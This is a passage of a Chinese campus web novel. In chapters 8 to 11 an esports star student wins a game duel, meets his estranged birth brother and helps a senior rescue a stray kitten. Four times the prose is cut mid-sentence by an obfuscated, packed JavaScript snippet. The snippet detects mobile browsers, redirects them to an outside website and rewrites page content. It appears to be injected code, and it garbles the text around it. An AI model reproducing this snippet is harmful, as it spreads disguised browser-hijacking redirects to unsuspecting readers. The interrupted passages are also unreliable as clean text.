鹿溪午眨巴眨巴眼，“那我不着急，学长什么时候找到，什么时候借我好了。您一个电话，我就来拿。” “好。”贺存看了看表，“行了，你快回去吧，你下午不有课吗？” 鹿溪午一拍脑袋，“对哦。” 手忙脚乱地打开手机，时间已经是下午一点多了。 鹿溪午瞬间清醒，“哎呀，要来不及了，学长我先走了——” 贺存看着鹿溪午风风火火离开的背影，眉梢微挑，无奈一笑。 . 鹿溪午抱着一大袋子书，再次气喘吁吁地跑进教室，Du ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590784|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ang地一声在周有柏身边坐下。 吓得正认真看游戏视频的周有柏一抽，“我去，你逃命呢？” 鹿溪午哼哼两声，心情颇好地没跟周有柏搭话。 看来自己前几天在企鹅空间里发的课程表也不是没人看嘛，鹿溪午喜滋滋地想。 周有柏不知道鹿溪午的心思，他突然想到了什么，对鹿溪午说：“报名《经济学原理》这门课的课程助理多了一个人哦。” “嗯？谁啊？”鹿溪午诧异道。 这种付出跟回报不成正比的职务，应该很少有人主动才对啊？ “赵文。咱们班的狂热学霸嘛。”周有柏摊摊手。 赵文，这届大一新生的高考最高分，是一个极度热爱学习的学霸级人物，对于专业课很是上心。 周有柏继续说道：“我跟他商量过了，准备用一种男人的方式，来决定你们两个到底谁是课程助理。” 鹿溪午也来了兴趣，“什么？” 周有柏神秘一笑，“到时候你就知道了。” C大校外，新时代网吧。 鹿溪午看着面前的电脑屏幕陷入了诡异的沉默，这正是他最熟悉的游戏——《异界之颠》的登录界面。 “你放心，赵文他是个大学霸，上帝给他打开了一扇门，就会关上一扇窗，他肯定不擅长打游戏。” 周有柏悄悄在鹿溪午耳边说道：“况且我也打听过了，赵文虽然说会打异界，但段位不高——我可是站在你这边的哦。” “……行吧，我记不住我的账号了，你的借我用用？” 鹿溪午眨眨眼，说得万分自然。 “当然可以了。”周有柏热情地回答。 周有柏财大气粗，直接开了个包厢，把嘈杂的人声都隔绝在了外间，让人不得不怀疑，他只是想找个理由出来打异界。 赵文就坐在两人的旁边，带着耳机，没有注意两人在说些什么。 “好了么？我准备好了。” 听到赵文的话，周有柏也正好登完自己的账号，“行了。” 周有柏下意识地去看了眼赵文的屏幕，顿时如遭雷击。 只见赵文ID的后面，一个金色的称号分外刺目“zhao·【王者大师】” 【王者大师】是异界的最高段位，至少要连续三个赛季打上最高段位，才能获得这个金色称号。 周有柏：！！！ 鹿溪午：仿佛听见了有人脸被打得啪啪响的声音。 最高只有钻石段位的周有柏十分识时务，立刻紧抱某人大腿：“大神！加个好友一起上分吧！” 鹿溪午：…… 说好站在他这边的啊喂！ 赵文面对周有柏的热情有些别扭，但也没有拒绝：“可，可以啊。” “谢谢大神！” 周有柏赶紧拉了个房间，邀请赵文进来。恭恭敬敬的样子看得鹿溪午一阵牙酸。 “兄弟啊，不是我不帮你啊，实在是敌人太强大，你加油。” 或许是鹿溪午谴责的眼神太过强烈，令周有柏的良心短暂地复苏了一下，敷衍地安慰了一句。 鹿溪午顶着钻石段位的称号，心平气和地进入了角色选择画面。 有句话怎么说来着？今天你对我爱答不理，明天我让你高攀不起。 8.赢了 两人的solo局地图很简单，只有一条路。谁先杀了对方英雄或者摧毁对方水晶即可胜利。 赵文幸运地随机到了后手位，可以针对鹿溪午选择的英雄。 周有柏简直不忍直视，技术比不过就算了，怎么运气还这么衰。 但鹿溪午倒是一脸的不在意，随意禁了三个版本solo之王的英雄，剩下一个ban位轮到赵文，禁了一个刺客类的打野。 轮到鹿溪午选择英雄，为了在周有柏面前捂紧自己的马甲，鹿溪午果断选择了森林信使。 这是一个带软控的中单法师，二技能是带有缠绕+减速效果的藤蔓。这个英雄并不占solo的优势，在赛场上，通常都是作为工具人而存在。 看见鹿溪午秒锁森林信使，周有柏眼睛都快瞪出来了，不仅是他，连赵文都惊讶地看了鹿溪午一眼。 既然如此，赵文也不犹豫，直接锁了火焰纹章，是个高爆发的法术刺客。 鹿溪午眉眼弯弯，巧了么这不是，法刺他可熟悉了…… 森林信使这个英雄，在前期的伤害上是非常疲软的。 赵文一边盯着面前的兵线，一边跃跃欲试地想要消耗鹿溪午的血线。 但鹿溪午是什么人，赛级经验拉满，走位细节都是千锤百炼出来的肌肉记忆，哪里会被赵文消耗？ 赵文的游戏风格跟他平时所表现出来的性格完全不符。 游戏里，他所操纵的火焰纹章攻击性极强，即使消耗不了鹿溪午的血条，也要不停地利用火焰所带的蔓延范围，限制鹿溪午的走位。 周有柏在一旁看得着急，鹿溪午要是再不压制赵文发育，一旦被他抢先到六级，很有可能会被一套技能带走。 然而鹿溪午却丝毫不慌，他的走位虽被限制，但该补的兵一个没漏。 僵持不下的情况持续到鹿溪午学会了二技能。 只见屏幕中的森林信使一个后撤，手中的藤蔓如灵蛇般鬼魅出现，一下子将火焰纹章缠绕住，定在原地。 只有一秒不到的僵直，却成功让赵文漏了最后两个炮兵。 此后，鹿溪午不断用二技能干扰赵文的补刀节奏。 赵文试图通过走位躲避，但鹿溪午好像是住在他脑子里了一样，总能提前预判走位，阻止他补刀。 这时候，就算是再迟钝的人也反应过来：就这技能准度和预判，哪里会是一个普通玩家所拥有的？ 就连周有柏看向鹿溪午的眼睛里都闪烁着崇拜的光芒。 渐渐地，赵文的经验条落后了鹿溪午大半截，这在solo局中无疑是致命的。 一旦鹿溪午先到六级，学会了大招，赵文的脆皮英雄可扛不住一轮技能。 赵文眼眸中闪过一丝孤注一掷，顿时，屏幕中的火焰纹章一个闪现进塔，直接贴脸输出。 是想越塔强杀。 鹿溪午瞬间明白了赵文的意图，手上动作不停，森林信使一边快速走位嗑药，一边却几发普攻落到小兵身上。 赵文眼睁睁地看着鹿溪午的气血值起起伏伏，却一直顽强苟活。 嗡—— 这是游戏中的升级音效，鹿溪午的血线被再次抬高。 还是被他抢先到了六级。赵文无奈地叹了口气。 鹿溪午顶着一丝血皮，直接一个大招轰然砸在赵文身上。 【叫我霸霸（森林信使）击杀了zhao（火焰纹章）】 防御塔和鹿溪午大招的伤害，让赵文这个脆皮小法刺直接蒸发。 “赢了？”周有柏揉揉眼睛，“怎么这么快？” 赵文放开鼠标，抬头看向鹿溪午，露出了他今晚的第一个笑容，“你打得很好，我愿赌服输，课程助理是你的了。” 赵文果断的性格令鹿溪午对他的好感飙升，“你也不赖啊，有时间一起双排？” “我我我！带我一个！”周有柏举手，生怕被两个金大腿丢下。 赵文欣然同意，“每天晚上八点到十点是我的游戏时间，一起上分是会比较容易。” “啊？是这个时间段上分比较容易吗？” “不，是我其他时间都排满了。”赵文说着，看了看自己的手表，“七点了，我得去自习室做高数了，再见。” “诶诶？可我开了两个小时的包厢啊——” 面对赵文的背影，周有柏喊得撕心裂肺，“你不来就浪费了！” 然而回应他的只有赵文无情的后脑勺。 “那个……我也得走了。”鹿溪午指了指门口，“我还有点事……” 周有柏：！ “走了啊，明天见。”鹿溪午赶紧脚底抹油溜了。 周有柏：！！！ “你们怎么这样啊！你回来——” 其实鹿溪午也不算说谎，他确实是有事。 异界秋季赛的开幕式已经订在了10月下旬。 开幕式除了各路大神选手的表演赛外，还会请一些知名的主播或是路人王组队开黑，简单来讲，就是个官方的整活大会。 不过近两年的开幕式人气有些下滑的趋势，官方为了保证今年的热度，于是邀请了鹿溪午作为开幕式的线上神秘嘉宾。 他今晚要赶回家里，跟官方作最后的直播流程确认。 “大概就是这个流程了，D神还有问题吗？” 官方派来沟通的工作人员是个很温柔的小姐姐，“D神是今年的保密嘉宾，您可以提前宣传，但不要说得太明白了哦。” “我明白。”鹿溪午点点头，“辛苦了。” 电话那头的小姐姐脸一下子红了，“不不不辛苦，D神再见。” “再见。” 鹿溪午挂断电话，心中略感新奇，他之前都是作为选手去参加开幕式，而现在是第一次以嘉宾的身份参加。 鹿溪午点开微博，准备配合官方来一波隐秘的宣传，他想了想，发了这么一句话： deer：[今天完成了一件大事。] 瞬间，deer的评论区就被一大群粉丝占领。 【前排！D神还是这么神出鬼没QAQ】 【出中单新英雄了你知道不？什么时候发教程！】 【只有我好奇是什么大事吗？】 【好奇+1】 这就是现象级大神选手的魅力，只是一条微博，却在十分钟内占据了热搜第三，这样的热度令人眼红不已。 林宅。 林奚本来正用手机看他个人的第一支单曲，却突然被微博推送一条消息： #deer大事# 又是这个deer。 林奚瞬间回想起了那段并不愉快的回忆， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604028|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被打压却始终无法翻身的不甘在他胸膛中翻滚着，面上一片躁郁之色。 “小奚？看得怎么样？满意吗？” “哦。”林奚如梦初醒，在抬头的瞬间收敛了表情。 上次的事情不过只是偶然罢了。 他有林家的所有资源，有专业的经纪人力捧，还有一整支顶级的团队可以随时差遣。不过是一个退役的电竞选手，怎么能和他相比。 林奚想得很清楚，他从一开就清晰地知道自己想要什么，“我觉得这首曲子很适合我。我有信心能完成好它。” 林修满意点头，这是他花了好大功夫找来的著名词曲作家，专门为林奚的嗓音条件打造的一支曲子。 只要林奚能完成好这首歌曲，他在娱乐圈的名声一定能打响。 “那你抓紧时间好好练，如果10月能发行就最好，刚好可以避开影帝官宣的新电影的热度。” 时间有点紧张。 林奚攥紧手机，“我一定会练好的。” 迟早有一天，他不会在需要避开别人的热度，他一定会站在娱乐圈的顶层。 林修欣慰地拍拍林奚的肩膀，“你也不用太着急，磨刀不误砍柴工，大不了我们下下个月发行也一样。” “不会的哥哥。”林奚回望向林修，“我能发行我的单曲。” “好！有志气。” . 贺存敲完最后一个单词，点击发送邮件，直到邮箱显示发送成功。他终于狠狠松了一口气，拿起桌上的水猛灌一口。 谢嘉看见贺存的动作，不由得摇摇头：“我说你非去当那个助教干嘛？就算博士生毕业要求要两个学期的助教资历，你也不用急于这一时吧？” 贺存取下眼睛，捏捏发酸的鼻梁，“怎么了？” “我是在替你考虑啊。”谢嘉拆开一片口香糖，清新的薄荷味在口腔蔓延开，顿时驱赶走一大半睡意。 “要不是今早上课耽搁三小时的时间，你至于到deadline的前三分钟才发邮件？” 贺存最近很忙，做助教这件事情，除了谢嘉劝过，就连贺存的导师也问过。毕竟助教要做的事情可不比一个博士生的少。 贺存刚回了自己投稿论文的审稿意见，正是疲惫的时候，懒得跟谢嘉多话，“卡时间的又不是你，你着什么急？” “嘿？”谢嘉瞬间来劲了，“到底是哪个大一新生，把我们团队的黑心高岭之花摘走了？” “什么？” “哼，你还装？跟上次那个特别提示音是同一个人吧？”谢嘉老神在在地推测，“都到这个地步了，你还跟兄弟瞒着吗？ 贺存低低一笑，没有回答。 谢嘉深吸口气，不可置信，“不会吧？难道你还没追到手啊？” 贺存没承认也没否认，“走了啊，我回去睡觉了。” “诶？不是，存哥？你说清楚啊，没故事的话，至少也给我看看照片嘛，吃瓜吃一半很影响我睡眠的啊！” “你睡不睡的，我可不好关心。”贺存低头看了看表，零点一十，“我早上还有事呢，先走了。” 而在贺存的手机上，正显示着他四小时前，给周有柏发的一条消息： [让课程助理明天来崇教楼316一趟，我有资料给他。] [好的，贺老师。] 9.流浪 周三早上是难得没排课的半天。 大多数人都还在睡梦中的时候，鹿溪午就已经穿戴整齐了。 昨晚下了一夜的雨，中和了连日来的酷暑，使得清晨空气中到处都是湿润的青草气息。 鹿溪午下楼扫了一辆共享单车，慢悠悠地骑着去了学校。 车子拐过大门时，擦过一个模糊的人影，鹿溪午急忙刹车回头，“你没事吧？” 林奚捂住被蹭到的胳膊，满眼震惊地看向鹿溪午，“你……” “对不起啊。” 鹿溪午不认识林奚，只当他是个被擦挂到的无辜路人，愧疚道：“我带你去校医室看看吧。” 林奚像是被烫到一般，猛地甩开鹿溪午搀扶的手，下垂的眼睑正好遮住了眸中的惊惶，“不用了，我没事。” “还是去看看吧，我……” “不用了，谢谢。”林奚生硬地打断鹿溪午的话，“你，你也是C大的学生吗？” 林奚自己都没意识到，当问出这句话时，他自己的尾音有多么飘忽。 “是啊。”鹿溪午不明所以地点点头，眼神继续落在林奚的胳膊上，“你真的没事吗？” 得到肯定的回答，林奚心下一沉，惶恐和不安瞬间涌入了他的大脑，他喘着气，努力挤出一丝声音，“我没事，你走吧。” 可你怎么看也不想没事的样子啊？ 鹿溪午挠挠头，但他也不能把人强行绑到校医院去吧？ “那好吧。”鹿溪午重新跨上单车，翻遍了口袋也没找出纸笔来，“我是经济学院大一（2）班的鹿溪午，有问题的话你可以随时去找我。” 林奚沉默着，整个人藏在行道树浓密的树荫里，看起来瘦弱又寡薄。 “有问题的话，一定要来找我啊！”鹿溪午不放心地再次叮嘱。 在鹿溪午的注视下，林奚不得不赶紧点点头，才把他送走。 林奚目送着鹿溪午远去的背影，后槽牙紧咬，口腔里仿佛已经尝到了血腥味。 “小奚，小奚？小奚！” “啊？” “怎么了？” 林修唤了好几声林奚才回过神来，他顺着林奚的目光望去，只看到一个骑着自行车的模糊背影，“你看什么呢？” “没有。”林奚急忙否认，“咱们走吧。” 林修眼尖地发现林奚手臂上的擦伤，握住林奚的手腕，语气急促中带着关切，“这是怎么回事？是不是刚才那个骑车的人撞到你了？” 林奚生怕林修看见鹿溪午，急忙拉住他的袖子，“是我走路没看路，跟别人没关系。” 林修还要说些什么，却被林奚打断，“好了，大哥，我们抓紧时间去录音棚吧，不然迟到了。” 林修看着林奚固执的面庞，不得叹了口气，“走吧，我车上放着医药箱呢，先处理一下。” “好。”林奚松了口气，不自觉地带着从前跟林修说话的随意调子，“可疼了，谢谢哥。” 许久没听见小奚这样的语调了。 林修一愣，继而扬起轻松的笑容，屈起手指敲了敲林奚的额头，“知道疼还不看路？” “我错了嘛，哥……” 你会一直是我的哥哥吗？ 林奚眸中的神色浮沉，他下意识地虚握手指，像是要抓住什么。 …… 刚刚的小插曲很快被鹿溪午抛在脑后，他一个急刹停在崇教楼门口，站定在金黄色的楼牌前。 平整光滑的楼牌被保洁阿姨擦得锃亮，能清晰地倒映出鹿溪午的身影。 鹿溪午前进的脚步一顿，借着金属的反光，理了理被吹乱的发型。 要是徐泽在这里，一定会骂鹿溪午一句“骚.包”。 但可惜八点半的校园，除了早课学生，只有叽叽喳喳的鸟儿。 良久，鹿溪午满意一笑，迈着轻快的步子走上楼梯。 笃笃笃—— “学长？你在吗？” 门没锁，但鹿溪午没敢直接推开，非常客气地敲了敲门。 过了好一会儿，门内才传来贺存声音，却不如他往常四平八稳的声调，反而带着几分闷响。 “进来吧，嗯……” 鹿溪午察觉到不对，急忙推开门，发现却看到了这样一幕—— 贺存站在窗边的椅子上，他左手扶着窗框的顶端，右手在窗外掏着什么，半个身子都探出去悬在空中。 鹿溪午倒吸一口凉气，也管不上什么占不占便宜，上手直接抱住了贺存的裤腰，喊得声嘶力竭。 “学长——这是三楼啊——有什么话我们不能好好说？” 贺存：…… 贺存：“你先放开我。” “三楼，别想不开啊——” “我知道，你先放开。” 贺存在鹿溪午怀疑的目光中，哭笑不得地拍拍他的手，示意鹿溪午可以放开自己。 “我是为了救这小家伙。喏，你看。” 这时鹿溪午才注意到，贺存的右手不知道什么时候提溜了一只湿漉漉的小猫。 原来是为了救猫。 饶是以鹿溪午的厚脸皮，也觉得此时此刻颇为尴尬，“那个，误会了哈哈哈哈。” 贺存跳下椅子，抽了几张餐巾纸往小猫身上盖，“你别担心我，三楼装了防盗窗呢。” “那也很危险。”提到刚才的那一幕，鹿溪午正色道：“至少学长你也应该叫个帮手。” 贺存点点头，无奈笑道，“知道了，下次不会了——这小猫叫了一早上了，估计是被昨晚的雨淋得够呛，我领它上宠物医院看看去。” 贺存单手拢着小猫发颤的身体，皱了皱眉，又复看向鹿溪午，“你是来拿资料的吧？桌子上的，我都打印好了。” 鹿溪午瞄了眼被暂时装在快递纸箱里的猫，自告奋勇，“我跟学长一起去吧。” . 校门口就有家宠物医院，据说是C大毕业的兽医专业的学生开的。 而贺存显然是这家医院的常客，一进门就被前台的小姐姐招呼，“哟？小贺？这又捡猫猫还是狗狗了？” “是猫。”贺存掀开纸箱顶，露出仍然在打颤的小猫，“雯姐，您给排个号。” 雯姐见多识广，一眼就看出来这小猫情况不太妙，“哎哟，这猫俩月都不到吧？造孽哟——曹医生，急诊！” 雯姐抱着快递箱子进去了，留下贺存跟鹿溪午在大厅面面相觑。 也亏得这时候没什么病患，雯姐一走也没耽误事。 鹿溪午一向对动物的疾病不太了解，“那只猫，怎么了？” “年龄小，又淋了雨，估计是有点失温。” 贺存随意找了个位置坐下，眉眼隽永，身姿挺拔，像是一座被雨洗过的远山。 被美貌击中的鹿溪午咽了咽口水，艰难地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612433|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转移注意力，“学长好像跟这里的医生很熟？” “毕竟常来嘛。”贺存装似无奈地叹口气，“我可是他们的VIP客户。” “常来？”鹿溪午惊讶地瞪大眼睛，清冽的眸子里清晰地倒映着贺存的身影。 “我是咱们学校流浪动物救助协会的成员，常送小动物到这里来。” 流浪动物？似乎跟学长的气质并不搭啊…… 鹿溪午挠挠脸颊，不怎么好意思地问：“学长怎么会干这个？” 贺存耸耸肩，似乎是并不在意跟鹿溪午提起自己的私事： “七年前，我跟家里闹了矛盾，干脆背着家里加入了国际野生动物保护组织，去非洲待了半年多，天天跟偷猎者打交道。” “非洲？偷猎者？”鹿溪午瞠目结舌。 “刺激吧？”贺存取下金框眼镜，微眯着眼睛，从眉梢里透露出一丝微妙的得意，使得他整个人鲜活真实不少。 这时候，鹿溪午才后知后觉地想起：哪怕贺存平时看起来再稳重可靠，他也其实是个二十多岁的年轻人。 “不过后来，我被我爸亲自抓上飞机，押送回国，叛逆之旅从此结束，就只能在C大救救流浪动物了。” 分享完自己的故事，贺存重新戴上眼镜，“所以啊，鹿溪午同学，我真诚地邀请你加入我们C大最为庞大的救助组织——流浪者之家。” 鹿溪午忍不住笑出了声，“好卖力的推销……谢谢学长，我能考虑几天吗？” 这句话不是推辞，也不含任何其他的心思，就真的只是鹿溪午需要考虑考虑。 鹿溪午从小对一切的流浪动物都不感冒，那是因为他觉得，从本质上来说，他跟流浪动物没有什么区别。 救助……他能承担这份责任吗？ 贺存敏锐地察觉到什么，他其实只是随口一提，没想到像是触碰到鹿溪午的伤心事了一样。 他有点愧疚，只好顺着话锋说道：“确实，是该考虑一下。” “那个，我下午还有课。”鹿溪午敛着眼睫，声音听起来跟以往并无不同，“学长，那我先走了。” “好。”贺存没有开口挽留，指了指手机，“小猫的情况我给你发消息？” “好啊。”鹿溪午笑着点头，随即推开门走出了宠物医院。 鹿溪午脑子里乱糟糟的，没来由的想起了他在孤儿院的日子。 孤儿院的院长鹿奶奶，对每个孩子都很好，从来不在孩子面前提起他们的身世，可孤儿院并不只是鹿奶奶一个人。 “这是当初那个医院弃婴？都长这么大了？” “是啊，多亏了院长，不然这孩子不知道要吃多少苦头。” “看起来挺乖的一孩子，不知道他的父母在为什么不要他。” “嗐，孤儿院的孩子，哪个不是被丢下的？” 门外的两个护工的身影渐渐远去，小鹿溪午依旧乖巧地坐在凳子上，但近看会发现他的嘴角抿起，眉毛也耷拉着，眼神空洞又落寞。 原来他是被爸爸妈妈丢下的啊…… 鹿溪午站在红绿灯面前，看着红灯倒计时一秒一秒地跳动，听着马路上汽车的轰鸣，远处赶早高峰的人们熙熙攘攘，一排大雁飞过城市天空。 真是热闹的人间啊，可惜—— 鹿溪午遗憾地叹了口气，看来要想办法拒绝学长了。 他哪有家去分给流浪动物呢？ 10.冲突 C大，监控室。 林修双手抱臂，跟鹿溪午有五分相似的眉眼间都是冷峻，双眼紧紧地盯着监控屏幕。 虽说小奚的伤不重，用不着这么大动干戈地找人，但小奚被撞了之后，明显情绪不太对。 林修有些担忧，却也问不出什么来，只好来学校调监控，看看究竟发生了什么事。 “暂停，放大。” 听到林修的话，操作员立刻暂停，放大林修所指的地方。 从屏幕上可以清晰地看见，骑着单车的鹿溪午正好擦过林奚的手臂。 “……是他？” 林修眼神微微一凝，他的记性一向很好，尤其是对于人脸。因此，林修一眼就认出来鹿溪午是之前他在奶茶店碰到的人。 操作员跟林修是旧识，之前林修在C大上学时他们就认识了。 “就是他把你宝贝弟弟撞了？这证据确凿啊。” 林修拿出手机拍了张照，又复问道：“撞人的这段能再放一遍吗？” “当然可以。” 林修把整个过程翻来覆去地看了两三遍，终于确定林奚就是在被撞了之后，情绪才出现不对劲的。 可惜监控听不到声音，林修只能琢磨着能不能找到骑车的鹿溪午。 “谢了兄弟，改天请你吃饭。” 林修挥别操作员，转身从监控室里出来，刚下了台阶，抬腕准备看手表，却不料肩膀撞到了人。 鹿溪午心里存着事，走路也心不在焉的没看路，毫不意外地跟对面的行人撞了肩膀。 “对不起。” “对不起。” 只一抬眼，林修便看见了刚才在监控中见过的面庞，真是说曹操，曹操到。 这个巧合令林修一愣，“你……” “真是不好意思，我没看路。”鹿溪午面带歉意，看得出他对林修没有丝毫印象。 不知为何，这个认知令林修有些烦躁，他摒弃了平日里委婉的说话风格，直截了当地阐明来意。 鹿溪午没想到自己早上干的“坏事”，中午就被人找上门来了。 “你弟弟没事吧？你放心，我不会推卸责任的，医药费和检查费我来出。” 林修摇摇头，“我不是为这个。我就是想问问，你跟我弟弟，聊了些什么。” “啊？”鹿溪午没想到林修是为这个而来，仔细回忆了一遍自己的言行，没觉得有什么不妥。 “我们也没聊什么，我问他要不要去看看校医，他说不用，然后我告诉他，有事可以去经济学院找我，我是大一（2）班的鹿溪午……” 林修瞳孔骤缩，心脏极速跳动起来，声音因惊讶而有几分尖锐，“你是鹿溪午？！” 鹿溪午下意识地后退一步，奇怪地看了林修一眼，“是我，怎么了？” 原来如此…… 林修盯着鹿溪午那双浅咖色的眼睛，那双跟故去母亲的一模一样的眼睛，还有不断从心里冒出的诡异熟悉感。 他早该猜出来的，不是吗？ 林修不知道自己该用什么样的表情去面对鹿溪午。 怪不得小奚的情绪从早上开始就不对，怪不得被撞时他会露出那副表情——恐怕爸爸所谓的瞒着这件事，早就被小奚知道了。 “你是故意的吗？”林修这句话问得很轻。 “什么？” “你是故意撞小奚的吗？” 鹿溪午更疑惑了，“小奚？是指被我撞的人吗？” 好半天，林修才找回自己往日那稳重的模样，在鹿溪午疑惑不已的目光中，犹豫地开口，“今天你撞的那个人，叫林奚；而我是他的哥哥，林修。” 这两个名字如同惊雷一般在鹿溪午的脑中轰然炸开，他猛的睁大眼睛，身躯不由自主地后退一步，那是个回避的动作。 他是林修？是自己血缘上的哥哥？那林奚不就是…… 难怪林修会问这样的问题，原来是为弟弟找场子来了。 混乱的思绪陡然变得清晰，想明白这一点，鹿溪午的脸色瞬间沉了下去。 哪怕是他对林家并没有抱什么不切实际的幻想，但也不可避免地被这种猜测刺得心上微痛。 “我不是。”鹿溪午一字一句地解释，“我根本就不知道他是林奚。” 林修也反应过来自己之前那个猜测的不妥，他低咳一声，不自然道：“抱歉。” 鹿溪午撇开眼睛，沉默着没有说话，肢体语言明明白白地表达着抗拒之意。 “二十年前的事情，我们会尽力弥补，但小奚是无辜的，还请你不要迁怒他……” 一个是从小和自己生活在一起的弟弟，一个是素未谋面的血缘陌生人。林修自然而然地更偏心林奚。 “我没有。”鹿溪午生硬地打断林修，“骑车撞到林奚，是我不对，我承认，我道歉，我负责。但要说故意迁怒，我绝对没有。” 林修所有的话都堵在了嘴里，他徒劳地张了张唇，最终还是化为一声叹息，“要是遇到难事了，可以来找我。” 林修走了。 鹿溪午捏着他的名片，站在垃圾桶面前欲丢又止。 鹿溪午咬咬牙，最终还是一把将名片塞回口袋。 “这都什么事啊……” “老鹿——” 由远及近的喊声中，鹿溪午的肩膀啪地被人勾住。 转头看去，果然是周有柏的一张大脸，“你杵在这儿干嘛呢？” 鹿溪午嫌弃地挥开周有柏的手，“今早没课，你不在寝室睡觉，起来干嘛？” “你忘啦？今天是社团招募日。”周有柏指了指不远处的活动楼，周边已经摆开了一溜的长桌，桌上都是五颜六色的海报。 “我准备报个社团来着，你呢？” 鹿溪午从记忆深处翻出这事来，“好像是有这回事……” “要不跟我一起去电竞社吧？就报异界之巅，咱俩一起呀？”周有柏热情地发出邀请，心里暗搓搓地盘算着：要是能把鹿溪午这根大腿拐进电竞社…… 鹿溪午一眼就看出来了周有柏打的什么主意，模棱两可地回答：“先去看看吧。” “哎呀，我俩一起多好啊，反正都要参加社团，我们一起还能有个照应。再说了，你的技术那么好，不加入电竞社实在浪费……” 周有柏不遗余力游说的同时，鹿溪午也在电竞社招募处看到一个熟悉的身影。 “赵文？” 赵文循声看去，冷淡的表情褪去，嘴角上扬，“鹿溪午，班长。” 周有柏顿时瞪大眼睛，“赵文？我以为你对电竞不感兴趣来着？是那边学科社团不香吗？” “我确实对电竞不感兴趣，同样也对社 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624344|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 团不感兴趣。我是为这个来的。”赵文指了指电竞社招募海报上的一排小字—— 《异界之颠》游戏拥有【王者大师】金色称号者，可免日常社团例会。 赵文平静道：“日常的社团例会活动对我来说就是浪费时间，可学校要求必须加入社团，为了学分，所以……” 鹿溪午撑着下巴思索一会儿，觉得赵文的看法简直太对了，当下拍板决定—— “那走吧，咱们一起。” 这正中周有柏下怀，他麻溜地从旁边的桌子上取了三张报名表，递给鹿溪午和赵文，“那我未来就靠两位大佬带飞了，哈哈。” 赵文借着花坛的台面，一笔一划地填写报名表，边写边回答道：“我有金色称号不用参加社团日常，你让鹿溪午带你吧。” 鹿溪午正等着赵文写完好借笔，闻言笑了起来，“对诶，我也有金色称号，班长你能不能自己飞？” “啊？不是……”周有柏万万没想到自己的大腿还没抱上，就已经离自己远去了，“你们怎么这样啊？还是不是朋友了？” 赵文已经填完了报名表，交给了电竞社社团，正在工作人员的笔记本电脑上登录自己的账号验证段位信息。 鹿溪午也正在跟报名表奋斗，龙飞凤舞地不知道在写些什么。 两人都没有在意周有柏。 周有柏：我开始要闹了。 “喂！你们倒是理理我啊！” 鹿溪午写完最后一个字盖上笔帽，顺手拍拍周有柏的胳膊，“加油。” 赵文转身朝周有柏一点头，还不忘拿回自己的笔，“我要去图书馆了，班长加油。” 周有柏心上一梗，“你俩太过分了！” . “小猫没什么大问题，就是有点失温，保险起见，还是在医院观察两天吧。” 曹风华一身白大褂，剑眉星目，玉树临风，通身的气概竟不像个救死扶伤的医生，倒像个风花雪月的浪子。 贺存接过诊断书，熟练地翻到最后签了字，“走我私人的账，别记在协会上。” “知道了，有钱人。”曹风华啧啧两声，深觉自己已经开始了仇富心态，“这只猫你打算怎么办？找领养？” “嗯。”贺存言简意赅。 忽而，曹风华像是想起了什么，凑到贺存身边，“我听雯姐说，有个特帅气的小哥跟你一起来的，怎么没看见他？” “哦？”贺存挑起眉头，从表情上辨不出喜怒，“你想干什么？” “嗐，这不是单身太久了嘛。”曹风华理了理头发，“能让雯姐说帅的可不多，你有小帅哥的联系方式不？” “有啊。”贺存慢条斯理地拿出手机，作势要翻看通讯录，“不过，我建议你再考虑考虑。” “啊？为什么？” “因为我刚才告诉他：曹医生医术高超，厉害到曾经被一只狒狒当众求爱……” 曹风华：“你闭嘴！” 这种黑历史怎么还在传播啊啊啊啊！ “好吧。”贺存无辜地望向曹风华，手机屏幕仍然亮着，“你还要小帅哥的联系方式吗？” 曹风华噔噔噔后退三步，“不用了，你千万不要告诉他，曹风华就是我。” 贺存放下手机，状似遗憾地叹口气，满脸真诚道：“你放心，我绝对不会告诉他的。” 11.电影 “唉。” 这是鹿溪午今天第一百零八次叹气，叹得周有柏脑瓜子嗡嗡地响。 